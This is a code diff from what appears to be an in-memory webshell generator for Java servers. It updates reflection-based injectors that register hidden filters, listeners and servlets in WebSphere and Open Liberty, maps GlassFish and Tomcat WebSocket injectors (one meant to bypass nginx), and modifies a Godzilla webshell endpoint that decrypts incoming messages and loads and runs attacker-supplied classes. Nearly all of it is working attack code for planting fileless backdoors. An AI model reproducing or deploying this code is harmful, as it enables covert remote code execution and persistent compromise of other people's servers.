for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -87,11 +84,32 @@ public class WebSphereFilterInjector {
|
|||||||
*/
|
*/
|
||||||
public Set<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
Set<Object> contexts = new HashSet<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
|
Object[] threadLocals = null;
|
||||||
for (Object wsThreadLocal : wsThreadLocals) {
|
boolean raw = false;
|
||||||
|
try {
|
||||||
|
// WebSphere Liberty
|
||||||
|
threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
}
|
||||||
|
if (threadLocals == null) {
|
||||||
|
// Open Liberty
|
||||||
|
threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
|
||||||
|
raw = true;
|
||||||
|
}
|
||||||
|
for (Object threadLocal : threadLocals) {
|
||||||
|
if (threadLocal == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
Object value = threadLocal;
|
||||||
|
if (raw) {
|
||||||
|
value = getFieldValue(threadLocal, "value");
|
||||||
|
}
|
||||||
|
if (value == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
// for websphere 7.x
|
// for websphere 7.x
|
||||||
if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) {
|
if (value.getClass().getName().endsWith("FastStack")) {
|
||||||
Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack");
|
Object[] stackList = (Object[]) getFieldValue(value, "stack");
|
||||||
for (Object stack : stackList) {
|
for (Object stack : stackList) {
|
||||||
try {
|
try {
|
||||||
Object config = getFieldValue(stack, "config");
|
Object config = getFieldValue(stack, "config");
|
||||||
@@ -99,8 +117,9 @@ public class WebSphereFilterInjector {
|
|||||||
} catch (Exception ignored) {
|
} catch (Exception ignored) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
} else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {;
|
} else if (value.getClass().getName().endsWith("WebContainerRequestState")) {
|
||||||
contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"));
|
Object webApp = invokeMethod(getFieldValue(getFieldValue(value, "currentThreadsIExtendedRequest"), "_dispatchContext"), "getWebApp", null, null);
|
||||||
|
contexts.add(getFieldValue(getFieldValue(webApp, "facade"), "context"));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return contexts;
|
return contexts;
|
||||||
@@ -132,43 +151,42 @@ public class WebSphereFilterInjector {
|
|||||||
|
|
||||||
@SuppressWarnings("unchecked")
|
@SuppressWarnings("unchecked")
|
||||||
public void inject(Object context, Object filter) throws Exception {
|
public void inject(Object context, Object filter) throws Exception {
|
||||||
Object webAppConfiguration = getFieldValue(context, "config");
|
Object webAppConfig = getFieldValue(context, "config");
|
||||||
if (invokeMethod(webAppConfiguration, "getFilterInfo", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
if (invokeMethod(webAppConfig, "getFilterInfo", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
ClassLoader classLoader = context.getClass().getClassLoader();
|
Class<?> filterMappingClass = loadClass(context.getClass(), "com.ibm.ws.webcontainer.filter.FilterMapping");
|
||||||
Class<?> filterMappingClass = classLoader.loadClass("com.ibm.ws.webcontainer.filter.FilterMapping");
|
Class<?> iFilterConfigClass = loadClass(context.getClass(), "com.ibm.wsspi.webcontainer.filter.IFilterConfig");
|
||||||
Class<?> iFilterConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.filter.IFilterConfig");
|
Class<?> iServletConfigClass = loadClass(context.getClass(), "com.ibm.wsspi.webcontainer.servlet.IServletConfig");
|
||||||
Class<?> iServletConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.servlet.IServletConfig");
|
|
||||||
|
|
||||||
Object filterManager = getFieldValue(context, "filterManager");
|
Object filterManager = getFieldValue(context, "filterManager");
|
||||||
|
Object filterConfig = invokeMethod(context, "createFilterConfig", new Class[]{String.class}, new Object[]{getClassName()});
|
||||||
|
invokeMethod(filterConfig, "setFilterClassName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||||
|
setFieldValue(filterConfig, "name", getClassName());
|
||||||
|
Constructor<?> constructor = filterMappingClass.getConstructor(String.class, iFilterConfigClass, iServletConfigClass);
|
||||||
|
Object filterMapping = constructor.newInstance(getUrlPattern(), filterConfig, null);
|
||||||
|
invokeMethod(filterManager, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
|
||||||
|
invokeMethod(webAppConfig, "addFilterInfo", new Class[]{iFilterConfigClass}, new Object[]{filterConfig});
|
||||||
|
|
||||||
try {
|
try {
|
||||||
// v8
|
List uriFilterMappingInfos = (List) getFieldValue(webAppConfig, "uriFilterMappingInfos");
|
||||||
Constructor<?> constructor = filterMappingClass.getConstructor(String.class, iFilterConfigClass, iServletConfigClass);
|
uriFilterMappingInfos.remove(filterMapping);
|
||||||
// com.ibm.ws.webcontainer.webapp.WebApp.commonAddFilter
|
uriFilterMappingInfos.add(0, filterMapping);
|
||||||
setFieldValue(context, "initialized", false);
|
|
||||||
Object filterConfig = invokeMethod(context, "commonAddFilter", new Class[]{String.class, String.class, Filter.class, Class.class}, new Object[]{getClassName(), getClassName(), filter, filter.getClass()});
|
|
||||||
Object filterMapping = constructor.newInstance(getUrlPattern(), filterConfig, null);
|
|
||||||
setFieldValue(context, "initialized", true);
|
|
||||||
|
|
||||||
// com.ibm.ws.webcontainer.filter.WebAppFilterManager.addFilterMapping
|
|
||||||
invokeMethod(filterManager, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
|
|
||||||
|
|
||||||
// com.ibm.ws.webcontainer.filter.WebAppFilterManager#_loadFilter
|
|
||||||
invokeMethod(filterManager, "_loadFilter", new Class[]{String.class}, new Object[]{getClassName()});
|
|
||||||
|
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
// v7
|
// WebSphere7
|
||||||
Object filterConfig = invokeMethod(context, "createFilterConfig", new Class[]{String.class}, new Object[]{getClassName()});
|
List uriFilterMappings = (List) getFieldValue(filterManager, "_uriFilterMappings");
|
||||||
invokeMethod(filterConfig, "setFilterClassName", new Class[]{String.class}, new Object[]{filter.getClass().getName()});
|
Object fmInfo = uriFilterMappings.remove(uriFilterMappings.size() - 1);
|
||||||
setFieldValue(filterConfig, "dispatchMode", new int[]{0});
|
uriFilterMappings.add(0, fmInfo);
|
||||||
setFieldValue(filterConfig, "name", getClassName());
|
|
||||||
invokeMethod(context, "addMappingFilter", new Class[]{String.class, iFilterConfigClass}, new Object[]{getUrlPattern(), filterConfig});
|
|
||||||
invokeMethod(filterManager, "_loadFilter", new Class[]{String.class}, new Object[]{getClassName()});
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// 清除缓存
|
// 清除缓存
|
||||||
invokeMethod(getFieldValue(filterManager, "chainCache"), "clear", null, null);
|
Object chainCache = getFieldValue(filterManager, "chainCache");
|
||||||
|
try {
|
||||||
|
invokeMethod(chainCache, "clear", null, null);
|
||||||
|
} catch (Exception e) {
|
||||||
|
invokeMethod(getFieldValue(chainCache, "chainCacheMap"), "clear", null, null);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@@ -176,6 +194,19 @@ public class WebSphereFilterInjector {
|
|||||||
return msg;
|
return msg;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// bypass osgi
|
||||||
|
public static Class<?> loadClass(Class<?> context, String className) throws ClassNotFoundException {
|
||||||
|
if (context.equals(Object.class)) {
|
||||||
|
throw new ClassNotFoundException(className);
|
||||||
|
}
|
||||||
|
ClassLoader loader = context.getClassLoader();
|
||||||
|
try {
|
||||||
|
return loader.loadClass(className);
|
||||||
|
} catch (ClassNotFoundException e) {
|
||||||
|
return loadClass(context.getSuperclass(), className);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
|
||||||
Exception {
|
Exception {
|
||||||
@@ -255,13 +286,9 @@ public class WebSphereFilterInjector {
|
|||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
try {
|
Field field = getField(obj, name);
|
||||||
Field field = getField(obj, name);
|
field.setAccessible(true);
|
||||||
field.setAccessible(true);
|
return field.get(obj);
|
||||||
return field.get(obj);
|
|
||||||
} catch (NoSuchFieldException ignored) {
|
|
||||||
}
|
|
||||||
return null;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
@@ -6,7 +6,6 @@ import java.io.IOException;
|
|||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.ArrayList;
|
|
||||||
import java.util.HashSet;
|
import java.util.HashSet;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
@@ -38,7 +37,7 @@ public class WebSphereListenerInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -75,11 +74,32 @@ public class WebSphereListenerInjector {
|
|||||||
|
|
||||||
public Set<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
Set<Object> contexts = new HashSet<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
|
Object[] threadLocals = null;
|
||||||
for (Object wsThreadLocal : wsThreadLocals) {
|
boolean raw = false;
|
||||||
|
try {
|
||||||
|
// WebSphere Liberty
|
||||||
|
threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
}
|
||||||
|
if (threadLocals == null) {
|
||||||
|
// Open Liberty
|
||||||
|
threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
|
||||||
|
raw = true;
|
||||||
|
}
|
||||||
|
for (Object threadLocal : threadLocals) {
|
||||||
|
if (threadLocal == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
Object value = threadLocal;
|
||||||
|
if (raw) {
|
||||||
|
value = getFieldValue(threadLocal, "value");
|
||||||
|
}
|
||||||
|
if (value == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
// for websphere 7.x
|
// for websphere 7.x
|
||||||
if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) {
|
if (value.getClass().getName().endsWith("FastStack")) {
|
||||||
Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack");
|
Object[] stackList = (Object[]) getFieldValue(value, "stack");
|
||||||
for (Object stack : stackList) {
|
for (Object stack : stackList) {
|
||||||
try {
|
try {
|
||||||
Object config = getFieldValue(stack, "config");
|
Object config = getFieldValue(stack, "config");
|
||||||
@@ -87,8 +107,9 @@ public class WebSphereListenerInjector {
|
|||||||
} catch (Exception ignored) {
|
} catch (Exception ignored) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
} else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {;
|
} else if (value.getClass().getName().endsWith("WebContainerRequestState")) {
|
||||||
contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"));
|
Object webApp = invokeMethod(getFieldValue(getFieldValue(value, "currentThreadsIExtendedRequest"), "_dispatchContext"), "getWebApp", null, null);
|
||||||
|
contexts.add(getFieldValue(getFieldValue(webApp, "facade"), "context"));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return contexts;
|
return contexts;
|
||||||
|
|||||||
@@ -6,7 +6,9 @@ import java.io.IOException;
|
|||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.*;
|
import java.util.HashSet;
|
||||||
|
import java.util.Properties;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -39,7 +41,7 @@ public class WebSphereServletInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -76,11 +78,32 @@ public class WebSphereServletInjector {
|
|||||||
|
|
||||||
public Set<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
Set<Object> contexts = new HashSet<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
|
Object[] threadLocals = null;
|
||||||
for (Object wsThreadLocal : wsThreadLocals) {
|
boolean raw = false;
|
||||||
|
try {
|
||||||
|
// WebSphere Liberty
|
||||||
|
threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
}
|
||||||
|
if (threadLocals == null) {
|
||||||
|
// Open Liberty
|
||||||
|
threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
|
||||||
|
raw = true;
|
||||||
|
}
|
||||||
|
for (Object threadLocal : threadLocals) {
|
||||||
|
if (threadLocal == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
Object value = threadLocal;
|
||||||
|
if (raw) {
|
||||||
|
value = getFieldValue(threadLocal, "value");
|
||||||
|
}
|
||||||
|
if (value == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
// for websphere 7.x
|
// for websphere 7.x
|
||||||
if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) {
|
if (value.getClass().getName().endsWith("FastStack")) {
|
||||||
Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack");
|
Object[] stackList = (Object[]) getFieldValue(value, "stack");
|
||||||
for (Object stack : stackList) {
|
for (Object stack : stackList) {
|
||||||
try {
|
try {
|
||||||
Object config = getFieldValue(stack, "config");
|
Object config = getFieldValue(stack, "config");
|
||||||
@@ -88,8 +111,9 @@ public class WebSphereServletInjector {
|
|||||||
} catch (Exception ignored) {
|
} catch (Exception ignored) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
} else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {;
|
} else if (value.getClass().getName().endsWith("WebContainerRequestState")) {
|
||||||
contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"));
|
Object webApp = invokeMethod(getFieldValue(getFieldValue(value, "currentThreadsIExtendedRequest"), "_dispatchContext"), "getWebApp", null, null);
|
||||||
|
contexts.add(getFieldValue(getFieldValue(webApp, "facade"), "context"));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return contexts;
|
return contexts;
|
||||||
|
|||||||
@@ -1,9 +1,9 @@
|
|||||||
package com.reajason.javaweb.memshell.server;
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
|
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterInjector;
|
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector;
|
||||||
import com.reajason.javaweb.utils.ShellCommonUtil;
|
import com.reajason.javaweb.utils.ShellCommonUtil;
|
||||||
import net.bytebuddy.asm.Advice;
|
import net.bytebuddy.asm.Advice;
|
||||||
@@ -43,8 +43,8 @@ public class GlassFish extends AbstractServer {
|
|||||||
return InjectorMapping.builder()
|
return InjectorMapping.builder()
|
||||||
.addInjector(LISTENER, TomcatListenerInjector.class)
|
.addInjector(LISTENER, TomcatListenerInjector.class)
|
||||||
.addInjector(JAKARTA_LISTENER, TomcatListenerInjector.class)
|
.addInjector(JAKARTA_LISTENER, TomcatListenerInjector.class)
|
||||||
.addInjector(FILTER, TomcatFilterInjector.class)
|
.addInjector(FILTER, GlassFishFilterInjector.class)
|
||||||
.addInjector(JAKARTA_FILTER, TomcatFilterInjector.class)
|
.addInjector(JAKARTA_FILTER, GlassFishFilterInjector.class)
|
||||||
.addInjector(VALVE, GlassFishValveInjector.class)
|
.addInjector(VALVE, GlassFishValveInjector.class)
|
||||||
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
|
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
||||||
|
|||||||
@@ -46,6 +46,8 @@ public class Tomcat extends AbstractServer {
|
|||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
||||||
.addInjector(WEBSOCKET, TomcatWebSocketInjector.class)
|
.addInjector(WEBSOCKET, TomcatWebSocketInjector.class)
|
||||||
.addInjector(JAKARTA_WEBSOCKET, TomcatWebSocketInjector.class)
|
.addInjector(JAKARTA_WEBSOCKET, TomcatWebSocketInjector.class)
|
||||||
|
.addInjector(BYPASS_NGINX_WEBSOCKET, TomcatWebSocketByPassInjector.class)
|
||||||
|
.addInjector(JAKARTA_BYPASS_NGINX_WEBSOCKET, TomcatWebSocketByPassInjector.class)
|
||||||
.addInjector(UPGRADE, TomcatUpgradeInjector.class)
|
.addInjector(UPGRADE, TomcatUpgradeInjector.class)
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -3,7 +3,6 @@ package com.reajason.javaweb.memshell.shelltool.command;
|
|||||||
import org.springframework.web.servlet.ModelAndView;
|
import org.springframework.web.servlet.ModelAndView;
|
||||||
import org.springframework.web.servlet.mvc.Controller;
|
import org.springframework.web.servlet.mvc.Controller;
|
||||||
|
|
||||||
import javax.servlet.ServletOutputStream;
|
|
||||||
import javax.servlet.http.HttpServletRequest;
|
import javax.servlet.http.HttpServletRequest;
|
||||||
import javax.servlet.http.HttpServletResponse;
|
import javax.servlet.http.HttpServletResponse;
|
||||||
import java.io.InputStream;
|
import java.io.InputStream;
|
||||||
|
|||||||
@@ -1,6 +1,5 @@
|
|||||||
package com.reajason.javaweb.memshell.shelltool.command;
|
package com.reajason.javaweb.memshell.shelltool.command;
|
||||||
|
|
||||||
import javax.servlet.ServletOutputStream;
|
|
||||||
import javax.servlet.ServletRequestEvent;
|
import javax.servlet.ServletRequestEvent;
|
||||||
import javax.servlet.ServletRequestListener;
|
import javax.servlet.ServletRequestListener;
|
||||||
import javax.servlet.http.HttpServletRequest;
|
import javax.servlet.http.HttpServletRequest;
|
||||||
|
|||||||
@@ -1,7 +1,6 @@
|
|||||||
package com.reajason.javaweb.memshell.shelltool.command;
|
package com.reajason.javaweb.memshell.shelltool.command;
|
||||||
|
|
||||||
import javax.servlet.ServletException;
|
import javax.servlet.ServletException;
|
||||||
import javax.servlet.ServletOutputStream;
|
|
||||||
import javax.servlet.http.HttpServlet;
|
import javax.servlet.http.HttpServlet;
|
||||||
import javax.servlet.http.HttpServletRequest;
|
import javax.servlet.http.HttpServletRequest;
|
||||||
import javax.servlet.http.HttpServletResponse;
|
import javax.servlet.http.HttpServletResponse;
|
||||||
|
|||||||
@@ -4,7 +4,6 @@ import javax.websocket.Endpoint;
|
|||||||
import javax.websocket.EndpointConfig;
|
import javax.websocket.EndpointConfig;
|
||||||
import javax.websocket.MessageHandler;
|
import javax.websocket.MessageHandler;
|
||||||
import javax.websocket.Session;
|
import javax.websocket.Session;
|
||||||
import java.io.ByteArrayOutputStream;
|
|
||||||
import java.io.InputStream;
|
import java.io.InputStream;
|
||||||
import java.util.Scanner;
|
import java.util.Scanner;
|
||||||
|
|
||||||
|
|||||||
@@ -16,7 +16,6 @@ import java.lang.reflect.Method;
|
|||||||
import java.net.URL;
|
import java.net.URL;
|
||||||
import java.net.URLClassLoader;
|
import java.net.URLClassLoader;
|
||||||
import java.nio.ByteBuffer;
|
import java.nio.ByteBuffer;
|
||||||
import java.nio.charset.Charset;
|
|
||||||
|
|
||||||
import static java.nio.charset.StandardCharsets.UTF_8;
|
import static java.nio.charset.StandardCharsets.UTF_8;
|
||||||
|
|
||||||
|
|||||||
@@ -12,21 +12,22 @@ import java.lang.reflect.Field;
|
|||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.net.URL;
|
import java.net.URL;
|
||||||
import java.net.URLClassLoader;
|
import java.net.URLClassLoader;
|
||||||
|
import java.nio.ByteBuffer;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/5/9
|
* @since 2025/5/9
|
||||||
*/
|
*/
|
||||||
public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<String> {
|
public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<ByteBuffer> {
|
||||||
public static String key;
|
public static String key;
|
||||||
private Session session;
|
private Session session;
|
||||||
private static Class<?> payload;
|
private static Class<?> payload;
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void onMessage(String message) {
|
public void onMessage(ByteBuffer byteBuffer) {
|
||||||
byte[] result = null;
|
byte[] result = null;
|
||||||
try {
|
try {
|
||||||
byte[] data = base64Decode(message);
|
byte[] data = byteBuffer.array();
|
||||||
data = x(data, false);
|
data = x(data, false);
|
||||||
if (payload == null || (data[0] == -54 && data[1] == -2)) {
|
if (payload == null || (data[0] == -54 && data[1] == -2)) {
|
||||||
payload = reflectionDefineClass(data);
|
payload = reflectionDefineClass(data);
|
||||||
@@ -44,7 +45,7 @@ public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<
|
|||||||
result = getErrorMessage(e).getBytes();
|
result = getErrorMessage(e).getBytes();
|
||||||
}
|
}
|
||||||
try {
|
try {
|
||||||
session.getBasicRemote().sendText(base64Encode(x(result, true)));
|
session.getBasicRemote().sendBinary(ByteBuffer.wrap(x(result, true)));
|
||||||
} catch (Exception ignored) {
|
} catch (Exception ignored) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -83,28 +84,6 @@ public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<
|
|||||||
session.addMessageHandler(this);
|
session.addMessageHandler(this);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static String base64Encode(byte[] bs) throws Exception {
|
|
||||||
try {
|
|
||||||
Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null);
|
|
||||||
return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
|
||||||
} catch (Exception var6) {
|
|
||||||
Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance();
|
|
||||||
return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static byte[] base64Decode(String bs) throws Exception {
|
|
||||||
try {
|
|
||||||
Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
|
|
||||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
|
||||||
} catch (Exception var6) {
|
|
||||||
Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
|
|
||||||
return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public byte[] x(byte[] s, boolean m) throws Exception {
|
public byte[] x(byte[] s, boolean m) throws Exception {
|
||||||
Cipher c = Cipher.getInstance("AES");
|
Cipher c = Cipher.getInstance("AES");
|
||||||
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
|
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
|
||||||
|
|||||||
@@ -12,11 +12,12 @@ import java.io.*;
|
|||||||
import java.net.*;
|
import java.net.*;
|
||||||
import java.nio.ByteBuffer;
|
import java.nio.ByteBuffer;
|
||||||
import java.nio.channels.SocketChannel;
|
import java.nio.channels.SocketChannel;
|
||||||
import java.security.MessageDigest;
|
|
||||||
import java.security.NoSuchAlgorithmException;
|
|
||||||
import java.security.cert.CertificateException;
|
import java.security.cert.CertificateException;
|
||||||
import java.security.cert.X509Certificate;
|
import java.security.cert.X509Certificate;
|
||||||
import java.util.*;
|
import java.util.Enumeration;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Hashtable;
|
||||||
|
import java.util.Random;
|
||||||
import java.util.concurrent.BlockingQueue;
|
import java.util.concurrent.BlockingQueue;
|
||||||
import java.util.concurrent.LinkedBlockingQueue;
|
import java.util.concurrent.LinkedBlockingQueue;
|
||||||
import java.util.concurrent.TimeUnit;
|
import java.util.concurrent.TimeUnit;
|
||||||
|
|||||||
@@ -8,11 +8,12 @@ import java.io.*;
|
|||||||
import java.net.*;
|
import java.net.*;
|
||||||
import java.nio.ByteBuffer;
|
import java.nio.ByteBuffer;
|
||||||
import java.nio.channels.SocketChannel;
|
import java.nio.channels.SocketChannel;
|
||||||
import java.security.MessageDigest;
|
|
||||||
import java.security.NoSuchAlgorithmException;
|
|
||||||
import java.security.cert.CertificateException;
|
import java.security.cert.CertificateException;
|
||||||
import java.security.cert.X509Certificate;
|
import java.security.cert.X509Certificate;
|
||||||
import java.util.*;
|
import java.util.Enumeration;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Hashtable;
|
||||||
|
import java.util.Random;
|
||||||
import java.util.concurrent.BlockingQueue;
|
import java.util.concurrent.BlockingQueue;
|
||||||
import java.util.concurrent.LinkedBlockingQueue;
|
import java.util.concurrent.LinkedBlockingQueue;
|
||||||
import java.util.concurrent.TimeUnit;
|
import java.util.concurrent.TimeUnit;
|
||||||
|
|||||||
@@ -12,11 +12,12 @@ import java.io.*;
|
|||||||
import java.net.*;
|
import java.net.*;
|
||||||
import java.nio.ByteBuffer;
|
import java.nio.ByteBuffer;
|
||||||
import java.nio.channels.SocketChannel;
|
import java.nio.channels.SocketChannel;
|
||||||
import java.security.MessageDigest;
|
|
||||||
import java.security.NoSuchAlgorithmException;
|
|
||||||
import java.security.cert.CertificateException;
|
import java.security.cert.CertificateException;
|
||||||
import java.security.cert.X509Certificate;
|
import java.security.cert.X509Certificate;
|
||||||
import java.util.*;
|
import java.util.Enumeration;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Hashtable;
|
||||||
|
import java.util.Random;
|
||||||
import java.util.concurrent.BlockingQueue;
|
import java.util.concurrent.BlockingQueue;
|
||||||
import java.util.concurrent.LinkedBlockingQueue;
|
import java.util.concurrent.LinkedBlockingQueue;
|
||||||
import java.util.concurrent.TimeUnit;
|
import java.util.concurrent.TimeUnit;
|
||||||
|
|||||||
@@ -1,16 +1,16 @@
|
|||||||
package com.reajason.javaweb.memshell.shelltool.suo5v2;
|
package com.reajason.javaweb.memshell.shelltool.suo5v2;
|
||||||
|
|
||||||
import javax.net.ssl.*;
|
import javax.net.ssl.*;
|
||||||
import javax.servlet.http.HttpServletRequest;
